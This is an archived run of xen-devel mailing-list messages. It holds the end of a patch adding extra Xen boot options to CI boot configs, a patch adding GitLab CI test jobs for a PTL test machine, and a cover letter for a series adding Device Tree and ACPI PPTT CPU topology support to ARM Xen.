+multiboot2 (http)/gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog ${EXTRA_XEN_OPTS-} $extra_xen_opts
 module2 (http)/gitlab-ci/vmlinuz console=hvc0 root=/dev/ram0 earlyprintk=xen
 module2 --nounzip (http)/gitlab-ci/initrd-dom0
 " > $TFTP/grub.cfg
 
 echo "#!ipxe
 
-kernel /gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog $extra_xen_opts || reboot
+kernel /gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog ${EXTRA_XEN_OPTS-} $extra_xen_opts || reboot
 module /gitlab-ci/vmlinuz console=hvc0 root=/dev/ram0 earlyprintk=xen || reboot
 module /gitlab-ci/initrd-dom0 || reboot
 boot
-- 
git-series 0.9.1


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 19:58:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 19:58:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358534.1612604 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whusk-0007HI-J5; Thu, 09 Jul 2026 19:58:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358534.1612604; Thu, 09 Jul 2026 19:58:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whusk-0007H7-Ez; Thu, 09 Jul 2026 19:58:02 +0000
Received: by outflank-mailman (input) for mailman id 1358534;
 Thu, 09 Jul 2026 19:58:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1whusi-0007E9-Qv
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 19:58:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whusi-003wER-7t
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 21:58:00 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4ffd35-bab6-0a2a0a5309dd-0a2a4506875e-28
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 21:58:00 +0200
Received: from [103.168.172.154] (helo=fhigh-a3-smtp.messagingengine.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4ffd47-0835-0a2a45060019-67a8ac9ad2e5-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 21:58:00 +0200
Received: from phl-compute-05.internal (phl-compute-05.internal [10.202.2.45])
 by mailfhigh.phl.internal (Postfix) with ESMTP id 1FCB71400159;
 Thu,  9 Jul 2026 15:57:59 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-05.internal (MEProxy); Thu, 09 Jul 2026 15:57:59 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Thu,
 9 Jul 2026 15:57:57 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:from:from:in-reply-to
	:in-reply-to:message-id:mime-version:references:reply-to:subject
	:subject:to:to; s=fm2; t=1783627079; x=1783713479; bh=vy1JyPNdpv
	bt/+2+Doo/kHhyIk6OgaoYEPg2ppM/fDc=; b=vPYSfr0+wStI9rEEiG5p2H54Wx
	7w1P+h1Uf0L4v6qYcpSfB+2laQ52H96zXVOmaWWXV0+spFr9A0Hpi050nqcY9JoN
	BAqIh/eQRscHHCbR/6tCJW4OQ25Txa3qfYYaGj8xSqknO6S9oYH2k7kwB8rUMGw9
	XbQ+62Bn0vlzw3K/+kZJ/Bl1ceQqhaUTzGHXcYNOLfCBNJiyN2odknGt1vjpjmRD
	CpaQeM0302pKy5nM+OzCegi3jl9ex4wn8GJRQzFbf2gw9wnY58BqihzuZ/w0bwHv
	dLE5f5gnOLcOdZLf6F0OCYeboytEEVHOWJv6fXNbECkO51BBfM9QXaAgmMdg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:feedback-id:feedback-id
	:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to:x-me-proxy
	:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=1783627079; x=
	1783713479; bh=vy1JyPNdpvbt/+2+Doo/kHhyIk6OgaoYEPg2ppM/fDc=; b=i
	+5s9K+dliHFcpJaKONdm5EWWVW1rBvjHznYv2ejOECaA4kuckUDTf6syNWAd3Wu7
	0bMbZkYQi/CNNfn+Nd/5GowamssKR1P+MZ9cea8C1Uph6yPpbgNlD3eGO2WDbbo6
	6sdJzirSwTKQYhCYfz8SbkUZDtmvIhhNeG4ENOzmcA5Nlyyvgwudw/URG4mNoYAZ
	Zq9D9sxMLjutoXqfuMLDzvlOkb4yuJRFKdWqOK5Ij9zKI+/CooRDuLJIb14fvMud
	AZeoRNJGW49203UFdOW/r8HCplbpkTxX3jeupaSTHG3agOaM1RUKIfc332pq7cW5
	ZVeQPqYGZusxuZtctgIlA==
X-ME-Sender: <xms:R_1PastS-C5sJbLC4jXspax2ffty53F_OVb-UsgIlwIEQ5psAbp1aQ>
    <xme:R_1PagWJbpK-LsIhSizsuOgLOa4sla5zKzgUDk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jfoBoRbC_6LudQmOL1EaZqawYw_rhaPZvXeMNAk8Q>
    <xmx:R_1Pas1RBkfgs9MoTXrH1HvSdq34pnjBL1s5SCKc6Yy-IhS7L0s29Q>
    <xmx:R_1PajRmou28TR6P4m8_UCh6j2XAf4LpFFYmrz_SKuhvQOy4eLuDep_4>
Feedback-ID: i1568416f:Fastmail
From: =?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: [PATCH 1/2] CI: add PTL runner
Date: Thu,  9 Jul 2026 21:57:04 +0200
Message-ID: <3a541b59a711fbf8d9ec3d262cfeeacd2db25113.1783626895.git-series.marmarek@invisiblethingslab.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783627080-F9548617-B62568C2/0/0
X-purgate-type: clean
X-purgate-size: 3215

For now run similar set of tests as ADL.

Exclude suspend test for now. While firmware claims S3 is supported,
suspend attempt fails (power LED blinks for a few seconds, and
then system reboots). With no messages on the serial console, even with
`sync_console`.

Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
 automation/gitlab-ci/test.yaml | 81 +++++++++++++++++++++++++++++++++++-
 1 file changed, 81 insertions(+)

diff --git a/automation/gitlab-ci/test.yaml b/automation/gitlab-ci/test.yaml
index 20db71b1c947..7cc52146304e 100644
--- a/automation/gitlab-ci/test.yaml
+++ b/automation/gitlab-ci/test.yaml
@@ -170,6 +170,17 @@
   tags:
     - qubes-hw3
 
+.ptl-x86_64:
+  # it's really similar to the ADL one
+  extends: .adl-x86_64
+  variables:
+    PCIDEV: "56:00.0"
+    PCIDEV_INTR: "MSI-X"
+    CONSOLE_OPTS: "console=com1 com1=115200,8n1"
+    SUT_ADDR: test-22.testnet
+  tags:
+    - qubes-hw22
+
 .zen2-x86_64:
   # it's really similar to the above
   extends: .adl-x86_64
@@ -405,6 +416,76 @@ kbl-tools-tests-pvh-x86_64-gcc-debug:
     - *x86_64-test-needs
     - alpine-3.24-x86_64-gcc-debug
 
+ptl-smoke-x86_64-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh dom0pv 2>&1 | tee ${LOGFILE}
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-smoke-x86_64-dom0pvh-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh dom0pvh 2>&1 | tee ${LOGFILE}
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-smoke-x86_64-dom0pvh-hvm-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh dom0pvh-hvm 2>&1 | tee ${LOGFILE}
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-pci-pv-x86_64-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh pci-pv 2>&1 | tee ${LOGFILE}
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-pci-hvm-x86_64-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh pci-hvm 2>&1 | tee ${LOGFILE}
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-pvshim-x86_64-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh pvshim 2>&1 | tee ${LOGFILE}
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-tools-tests-pv-x86_64-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh tools-tests-pv 2>&1 | tee ${LOGFILE}
+  artifacts:
+    reports:
+      junit: tests-junit.xml
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
+ptl-tools-tests-pvh-x86_64-gcc-debug:
+  extends: .ptl-x86_64
+  script:
+    - ./automation/scripts/qubes-x86_64.sh tools-tests-pvh 2>&1 | tee ${LOGFILE}
+  artifacts:
+    reports:
+      junit: tests-junit.xml
+  needs:
+    - *x86_64-test-needs
+    - alpine-3.24-x86_64-gcc-debug
+
 zen2-smoke-x86_64-gcc-debug:
   extends: .zen2-x86_64
   script:
-- 
git-series 0.9.1


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 22:06:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 22:06:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358607.1612625 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwsz-0006so-5t; Thu, 09 Jul 2026 22:06:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358607.1612625; Thu, 09 Jul 2026 22:06:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwsz-0006sh-2I; Thu, 09 Jul 2026 22:06:25 +0000
Received: by outflank-mailman (input) for mailman id 1358607;
 Thu, 09 Jul 2026 22:06:23 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1whwsw-0006sa-QI
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 22:06:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whwsv-004Qfb-QL
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 00:06:22 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b59-2eae-0a2a0a5409dd-0a2a4505bdc4-8
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:20 +0200
Received: from [52.101.125.137]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b59-4f1d-0a2a45050019-34657d89cdb0-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:19 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB2431.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:18f::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Thu, 9 Jul
 2026 22:06:15 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Thu, 9 Jul 2026
 22:06:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=RraDXPKpUUG9knZTIhJtejGrN5Kmo1FaZW8k44AdelhaGm5e/QIR91IhsHyC9CLUhKQim8wPdMTCyCgR+YVNfiwjebGryWsuIc5iO3lFFjL2UQvQOGEjAfHQ4D0y36/IsH0QfNPPDLTe+OA/5q1RtD3PaxdxCpwwmHd7URJ6JlDWmtNsCPRsR5RUyh03cYMqfrMJf6WXna5UyYmH96DeqrZmCfnYgS3+QCcXJ9YQbpdN9pgcwArCDbCEhAjI7jhyP+JStQl95WxqeEf6RwHXsa/17yNMGiAKFBQYD3066k2MCL11RF+8RaUzzOBoX7TjsCfmoraW61ZlZkGGUVzHBg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DeZR/EnzvsZHkXrSd0nDTan7he02cLlRFGs9H6JXCJU=;
 b=Hnfc1T9DkdR+eei7EJWUP/rbJq/IZebV2v6BiPvPxjc1ZXs96U8VigYqLlqnsJkCtuMKjWdNSlaOj6PURyiuyGCi+sb/5hv2IOzU5GCvxjnariJ2+Aj1edQBQL8yz2ly97lcM5lTiU1mKT2TnbpLrYSwHYPtgJt/z9hG1hiVCgYkLeDiboPkNrHoI1SDytKRnoGgrbxxSDHnXekSJmmo98wY78+xxJDpg95bo+KOzSJzSJdKZJmRL6eqb9ODt6E1VnFfFZj1iEoyBhGXwZ2oqsZuZkfDILjdzJ50aImkjAThi9q1pkcWiCPho+ZFeS9V56j8Tr44HnC4DcUrFHv6jA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DeZR/EnzvsZHkXrSd0nDTan7he02cLlRFGs9H6JXCJU=;
 b=Yg6AvFfsmv9/bv7LVY6ogsnLHCvSCNS4nh1lAjtHmV/kcUdtzNtAs1ShnL7zcoI+SS+Bcz2Z96vv3vaShdFdF3XE+fgNtADKYH82E0Tu8Ck2EIDcCvKcGVuiAWs/IqHqgu1pmqI8uSaWQqoR/shSPe4H7zEIDFME2M+ab/ys+9U=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v5 0/4] xen/arm: Device Tree based CPU topology support
Date: Fri, 10 Jul 2026 07:05:48 +0900
Message-ID: <20260709220552.646462-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP301CA0003.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:400:386::9) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TYCP286MB2431:EE_
X-MS-Office365-Filtering-Correlation-Id: aedd4e82-10da-46aa-9a64-08dede064b8b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|10070799003|366016|1800799024|6133799003|25016099003|29003799003|56012099006|18002099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	Ig76eGxaCo6R3hthll266zpI4PDNkiSHNRXvFAhtw7bNlDShi6GTN7QnBBRITlkvriBbkZpVPYccEriccOw9sXceT+jZS0ISKQSoQvBcQckBYESLR7hg0qb3Iv7qMtvy4baG+RYNYbpwwnZbKh3UteaK66MMGWjl5iIDWk8/eMm+QeuWvAlkJe9fpyLLDxbE/hR9E2R0sJhxkNQAj3qybZz2WizjsYoWnEyWBkkm2HP18VM5JQmQmuZK/yvMZYs9GqoPm9LbrTYxAHNkQkGr8G6g0AFf8x3hukZRbJ4X6b21zcAdxvEtZblkad5xUrzUuHty/yTLIcQbx1GMBa8qb6bPW/5AR3MEa67S/oHnNQjlDeyubj95r4StCkct7L+RnMPhsBPsVCh/IxtaVQP5pLojFTi78Xvt+SZ3gDrFed5NiQBu0E0PVt8CNaTxbp/jbzdEXd3FDDzk/+hnhTgXVMWYaJh7ftbglPmiX32hkuLTHlZOewFbOXb9AG31eblSMAxdRleLTHU59+E5CoOo0ed/QvinLP4Re9wphLnYgXHS6YxIXNEGfEcfqkR/FXuwT27AoP8zelfC6En6rtYmd5Aq63JnKpNqVhl2JWGfJTr7U9aI0UwyvzzRAbwbKRqk432coaSIx+y8IwPeHWfsa8dyOETgIwY4OaucDrCDxX8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(10070799003)(366016)(1800799024)(6133799003)(25016099003)(29003799003)(56012099006)(18002099003)(3023799007);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?cP+VXH8Dq4Gfdaw6vcAcyR/phzLJuOLukv4COstdFfsn5prf1ndSDGd9woIw?=
 =?us-ascii?Q?mt7R2F/t7X1qBCKcAd5CmkdOUuF1eYrnNaNoI7oFt50UfCIPxxtbKtMN9zK9?=
 =?us-ascii?Q?tTS7NhBVg3z3iD+tNJ53ApGITti3KPjGAu7LDa9pD3E3B+bJcGlY/psuhspq?=
 =?us-ascii?Q?C1p3XnwzSwWuLRiEghypE5TrUCWlpGeFiBGWVIbjGFXalngV113J07G3kJ5G?=
 =?us-ascii?Q?cxBQbGTe9pFJ0hlMbAHoqY217sCL+YAZxzCzvqszFV+fNCbcPl9m0xTjpdCR?=
 =?us-ascii?Q?C3u6r1amU6fEGM7UCYkYNmslZqO6c/AdhuG3avbGXbY3kp6GyyyiToUtdKlx?=
 =?us-ascii?Q?ihURUWh+rA0jLMb5N9lpw1f2HiaPaA3u++uWapHYVh5ulOc5a6vf69Q/adWp?=
 =?us-ascii?Q?sSjsRbID6AbJeDLxw7XZgIe7AfrzWVOjoGzeKhTZb2bZRu3lmbdJwEGkHUoe?=
 =?us-ascii?Q?GL0d7FyNisSttUo6sd9fWu+Kbz9YgscQU/oM8xiFHUEdv1TxeZG2xjc5pji9?=
 =?us-ascii?Q?hnyOeKIeMFqAy2V9sgtxXYnl+sZ+P4U9oL5/XjqspxCUBZg5k6GaAZ2HvO1S?=
 =?us-ascii?Q?igIAEZ0ZibjqLOjWMI6K9BR4VnZNwlsRL9UdtinKJAVtpVICd7i8LKDsVpeV?=
 =?us-ascii?Q?UOtHLIWSvOtFtgD7Rq1U24FNGarWpFr4yOYfmqNhhl4QrWgAfTOYd3taWcmz?=
 =?us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Vm/1C2xwerCc4mUZ73VCAT8kyc0QKBlUXPIE1vEEl8PLG?=
 =?us-ascii?Q?lLnWBXtOjh85B9qL+oJDnD6KO36A7vfpNtVHWr+lj0hpPacMyXakWPgZucSq?=
 =?us-ascii?Q?3PYVkVNO7NCJsJSDJvyVR3XCyGLZBxMDG8Owamd7FYaojxO1tZQjI8ExS8LG?=
 =?us-ascii?Q?2xp/KySVVrSMi9LdS/stj21o5/NB/oD/qswojdso19oL2exTnq15IrvbbEC8?=
X-MS-Exchange-AntiSpam-MessageData-1: q+FLcs7FO2rLoQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: aedd4e82-10da-46aa-9a64-08dede064b8b
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 22:06:15.2451
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: m+uRSI6jHlI/yr/p/cLXq8tfNU0jdCwdqeQjxfS2sEy4lnwI05rzjK6DBxyQEGJxFPqNTwgM01N700uDr5CX2Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB2431
X-purgate-ID: tlsNG-c201ff/1783634780-1862612E-735368CE/0/0
X-purgate-type: clean
X-purgate-size: 5970

Hello,

This patch series introduces CPU topology support based on
Device-Tree and ACPI PPTT for ARM Xen.

In v5, I added code to parse the ACPI PPTT and reflect it in the CPU
topology information.

Future Work:
 - Support for the "credit2_runqueue=cluster" option.
 - CPU topology support for RISC-V and PPC (once SMP support is available).

Changes in v5:
 - Extracted CPU topology information from the ACPI PPTT.
 - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
   CONFIG_GENERIC_CPU_TOPOLOGY.

Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

Changes in v1 from the previous series "Introduce Device Tree based NUMA
support for ARM Xen":

1. Optimized Memory Allocation:
   The series now allocates only the minimum required memory area to manage
   the essential data for the CPUs.

2. Flexible Device Tree Parsing:
   The parsing logic no longer depends on the definition order of the 'cpu'
   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
   correctly even if their orders do not match.

3. CPU Hotplug Readiness:
   To support future CPU hotplug, the system assumes that inactive CPUs are
   also described in the Device Tree. Xen will pre-load and generate the
   topology information for these inactive CPUs during the boot phase so
   it stays available in memory.

Thank you,
Hirokazu Takahashi

Hirokazu Takahashi (4):
  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
  xen/sched: Link CPU topology to scheduler
  xen/sched: Make cpu_nr_siblings() architecture-specific
  arm/acpi: Parse PPTT to initialize CPU topology

 xen/arch/arm/Kconfig                   |   1 +
 xen/arch/arm/acpi/boot.c               |   2 +
 xen/arch/arm/include/asm/acpi.h        |   2 +
 xen/arch/arm/include/asm/processor.h   |   4 -
 xen/arch/arm/smpboot.c                 |  15 +-
 xen/arch/ppc/include/asm/processor.h   |   4 -
 xen/arch/riscv/include/asm/processor.h |   4 -
 xen/arch/x86/include/asm/processor.h   |   1 +
 xen/common/Kconfig                     |  15 +
 xen/common/Makefile                    |   1 +
 xen/common/cpu-topology.c              |  62 ++++
 xen/common/device-tree/Makefile        |   1 +
 xen/common/device-tree/cpu-topology.c  | 406 +++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  21 +-
 xen/common/sysctl.c                    |   1 +
 xen/drivers/acpi/Kconfig               |   3 +
 xen/drivers/acpi/Makefile              |   1 +
 xen/drivers/acpi/topology.c            | 255 ++++++++++++++++
 xen/include/acpi/actbl3.h              |  30 ++
 xen/include/xen/acpi.h                 |  18 ++
 xen/include/xen/cpu-topology.h         |  83 +++++
 xen/include/xen/dt-cpu-topology.h      |  29 ++
 22 files changed, 923 insertions(+), 36 deletions(-)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
